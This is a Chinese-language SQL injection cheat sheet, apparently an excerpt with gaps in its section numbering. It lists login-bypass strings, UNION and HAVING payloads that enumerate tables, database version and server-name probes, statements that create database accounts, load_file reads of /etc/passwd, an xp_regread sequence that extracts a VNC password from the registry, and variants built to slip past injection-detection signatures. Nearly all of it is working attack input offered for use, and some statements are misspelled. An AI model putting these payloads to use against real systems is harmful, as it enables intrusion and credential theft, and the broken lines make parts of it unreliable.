- login:' or 1=1--
- pass:' or 1=1--
- http://website/index.asp?id=' or 1=1--
这些是简单的方法,其他如下:
- ' having 1=1--
- ' group by userid having 1=1--
- ' select name from syscolumns where id = (select id from sysobjects where name = 'tablename')--
- ' union select sum(columnname) from tablename--
3.收集信息
- ' or 1 in (select @@version)--
- ' union all select @@version-- /*这个优秀
这些能找到计算机,操作系统,补丁的真实版本。
mysql
insert into mysql.user (user, host, password) values ('name', 'localhost', password('pass123'))
access
crate user name identified by 'pass123'
postgres (requires unix account)
crate user name with password 'pass123'
oracle
crate user name identified by pass123
temporary tablespace temp
default tablespace users;
grant connect to name;
grant resource to name;
7. mysql操作系统交互作用
- ' union select 1,load_file('/etc/passwd'),1,1,1; 这里用到load_file()函数
8.服务器名字与配置
- ' and 1 in (select @@servername)--
- ' and 1 in (select servername from master.sysservers)--
9.从注册表中获取vnc密码
'; declare @out binary(8)
- exec master..xp_regread
- @rootkey = 'hkey_local_machine',
- @key = 'software\orl\winvnc3\default', /*vnc4路径略有不同
- @value_name='password',
- @value = @out output
- select cast (@out as bigint) as x into temp--
- ' and 1 in (select cast(x as varchar) from temp)--
10.逃避标识部分信号
evading ' or 1=1 signature
- ' or 'unusual' = 'unusual'
- ' or 'something' = 'some'+'thing'
- ' or 'text' = n'text'
- ' or 'something' like 'some%'
- ' or 2 > 1
- ' or 'text' > 't'
- ' or 'whatever' in ('whatever')
- ' or 2 between 1 and 3
11.用char()进行mysql输入确认欺骗
不用引号注射(string = "%")
--> ' or username like char(37);
用引号注射(string="root"):
è ' union select * from users where login = char(114,111,111,116);
load files in unions (string = "/etc/passwd"):
-->'unionselect 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
check for existing files (string = "n.ext"):
-->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));